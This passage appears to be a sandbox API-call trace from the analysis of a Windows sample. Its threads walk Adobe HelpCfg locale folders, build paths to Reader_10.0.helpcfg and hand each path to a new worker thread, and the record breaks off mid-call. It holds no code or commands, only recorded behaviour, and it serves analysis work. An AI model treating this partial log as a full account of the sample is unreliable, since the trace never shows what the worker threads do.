FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.948] wcscmp (_String1="..", _String2=".") returned 1 [0058.948] wcscmp (_String1="..", _String2="..") returned 0 [0058.948] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.948] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.948] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec4968 [0058.948] wcscpy (in: _Dest=0x5ec4968, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" [0058.948] wcscat (in: _Dest=0x5ec4968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\" [0058.948] wcscat (in: _Dest=0x5ec4968, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\Reader_10.0.helpcfg" [0063.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec4968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158 [0063.898] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.898] FindClose (in: hFindFile=0x409d28 | out: hFindFile=0x409d28) returned 1 [0063.898] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x425b88) returned 1 [0063.898] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45fbb8) returned 1 [0063.898] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43bac8) returned 1 Thread: id = 717 os_tid = 0x8d0 [0051.126] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45fc38 [0051.126] wcscpy (in: _Dest=0x45fc38, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" [0051.126] wcscat (in: _Dest=0x45fc38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\" [0051.126] wcscat (in: _Dest=0x45fc38, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*" [0051.126] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e03a18 [0051.127] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*", lpFindFileData=0x12e03a18 | out: lpFindFileData=0x12e03a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ea8 [0058.948] wcscmp (_String1=".", _String2=".") returned 0 [0058.948] FindNextFileW (in: hFindFile=0x409ea8, lpFindFileData=0x12e03a18 | out: lpFindFileData=0x12e03a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.948] wcscmp (_String1="..", _String2=".") returned 1 [0058.948] wcscmp (_String1="..", _String2="..") returned 0 [0058.948] FindNextFileW (in: hFindFile=0x409ea8, lpFindFileData=0x12e03a18 | out: lpFindFileData=0x12e03a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.948] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.948] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec4a08 [0058.949] wcscpy (in: _Dest=0x5ec4a08, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" [0058.949] wcscat (in: _Dest=0x5ec4a08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\" [0058.949] wcscat (in: _Dest=0x5ec4a08, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\Reader_10.0.helpcfg" [0063.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec4a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x115c [0063.899] FindNextFileW (in: hFindFile=0x409ea8, lpFindFileData=0x12e03a18 | out: lpFindFileData=0x12e03a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.899] FindClose (in: hFindFile=0x409ea8 | out: hFindFile=0x409ea8) returned 1 [0063.899] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e03a18) returned 1 [0063.899] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45fc38) returned 1 [0063.900] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43bb40) returned 1 Thread: id = 718 os_tid = 0x8d4 [0051.131] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45fcb8 [0051.132] wcscpy (in: _Dest=0x45fcb8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" [0051.132] wcscat (in: _Dest=0x45fcb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\" [0051.132] wcscat (in: _Dest=0x45fcb8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*" [0051.132] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e03c80 [0051.132] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*", lpFindFileData=0x12e03c80 | out: lpFindFileData=0x12e03c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440760 [0058.941] wcscmp (_String1=".", _String2=".") returned 0 [0058.941] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x12e03c80 | out: lpFindFileData=0x12e03c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.941] wcscmp (_String1="..", _String2=".") returned 1 [0058.941] wcscmp (_String1="..", _String2="..") returned 0 [0058.941] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x12e03c80 | out: lpFindFileData=0x12e03c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.941] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.941] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.941] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4eec98 [0058.941] wcscpy (in: _Dest=0x4eec98, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" [0058.941] wcscat (in: _Dest=0x4eec98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\" [0058.942] wcscat (in: _Dest=0x4eec98, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\Reader_10.0.helpcfg" [0063.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4eec98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0063.887] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x12e03c80 | out: lpFindFileData=0x12e03c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.887] FindClose (in: hFindFile=0x440760 | out: hFindFile=0x440760) returned 1 [0063.887] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e03c80) returned 1 [0063.887] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45fcb8) returned 1 [0063.887] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43bbb8) returned 1 Thread: id = 719 os_tid = 0xd64 [0051.134] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45fd38 [0051.134] wcscpy (in: _Dest=0x45fd38, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" [0051.134] wcscat (in: _Dest=0x45fd38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\" [0051.134] wcscat (in: _Dest=0x45fd38, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*" [0051.134] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e03ee8 [0051.134] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*", lpFindFileData=0x12e03ee8 | out: lpFindFileData=0x12e03ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440ea0 [0058.942] wcscmp (_String1=".", _String2=".") returned 0 [0058.942] FindNextFileW (in: hFindFile=0x440ea0, lpFindFileData=0x12e03ee8 | out: lpFindFileData=0x12e03ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.942] wcscmp (_String1="..", _String2=".") returned 1 [0058.942] wcscmp (_String1="..", _String2="..") returned 0 [0058.942] FindNextFileW (in: hFindFile=0x440ea0, lpFindFileData=0x12e03ee8 | out: lpFindFileData=0x12e03ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.942] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.942] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.942] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4eed38 [0058.942] wcscpy (in: _Dest=0x4eed38, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" [0058.942] wcscat (in: _Dest=0x4eed38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\" [0058.942] wcscat (in: _Dest=0x4eed38, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\Reader_10.0.helpcfg" [0063.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4eed38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144 [0063.889] FindNextFileW (in: hFindFile=0x440ea0, lpFindFileData=0x12e03ee8 | out: lpFindFileData=0x12e03ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.889] FindClose (in: hFindFile=0x440ea0 | out: hFindFile=0x440ea0) returned 1 [0063.889] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e03ee8) returned 1 [0063.889] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45fd38) returned 1 [0063.889] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43bc30) returned 1 Thread: id = 720 os_tid = 0x89c [0051.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45fdb8 [0051.135] wcscpy (in: _Dest=0x45fdb8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" [0051.135] wcscat (in: _Dest=0x45fdb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\" [0051.135] wcscat (in: _Dest=0x45fdb8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*" [0051.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04150 [0051.135] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*", lpFindFileData=0x12e04150 | out: lpFindFileData=0x12e04150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440ee0 [0058.942] wcscmp (_String1=".", _String2=".") returned 0 [0058.942] FindNextFileW (in: hFindFile=0x440ee0, lpFindFileData=0x12e04150 | out: lpFindFileData=0x12e04150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.942] wcscmp (_String1="..", _String2=".") returned 1 [0058.942] wcscmp (_String1="..", _String2="..") returned 0 [0058.943] FindNextFileW (in: hFindFile=0x440ee0, lpFindFileData=0x12e04150 | out: lpFindFileData=0x12e04150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.943] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.943] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4eedd8 [0058.943] wcscpy (in: _Dest=0x4eedd8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" [0058.943] wcscat (in: _Dest=0x4eedd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\" [0058.943] wcscat (in: _Dest=0x4eedd8, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\Reader_10.0.helpcfg" [0063.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4eedd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1148 [0063.890] FindNextFileW (in: hFindFile=0x440ee0, lpFindFileData=0x12e04150 | out: lpFindFileData=0x12e04150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.891] FindClose (in: hFindFile=0x440ee0 | out: hFindFile=0x440ee0) returned 1 [0063.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e04150) returned 1 [0063.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45fdb8) returned 1 [0063.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43bca8) returned 1 Thread: id = 721 os_tid = 0x894 [0051.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45fe38 [0051.135] wcscpy (in: _Dest=0x45fe38, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" [0051.135] wcscat (in: _Dest=0x45fe38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\" [0051.135] wcscat (in: _Dest=0x45fe38, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*" [0051.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e043b8 [0051.136] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*", lpFindFileData=0x12e043b8 | out: lpFindFileData=0x12e043b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4400a0 [0058.943] wcscmp (_String1=".", _String2=".") returned 0 [0058.943] FindNextFileW (in: hFindFile=0x4400a0, lpFindFileData=0x12e043b8 | out: lpFindFileData=0x12e043b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.943] wcscmp (_String1="..", _String2=".") returned 1 [0058.943] wcscmp (_String1="..", _String2="..") returned 0 [0058.943] FindNextFileW (in: hFindFile=0x4400a0, lpFindFileData=0x12e043b8 | out: lpFindFileData=0x12e043b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, 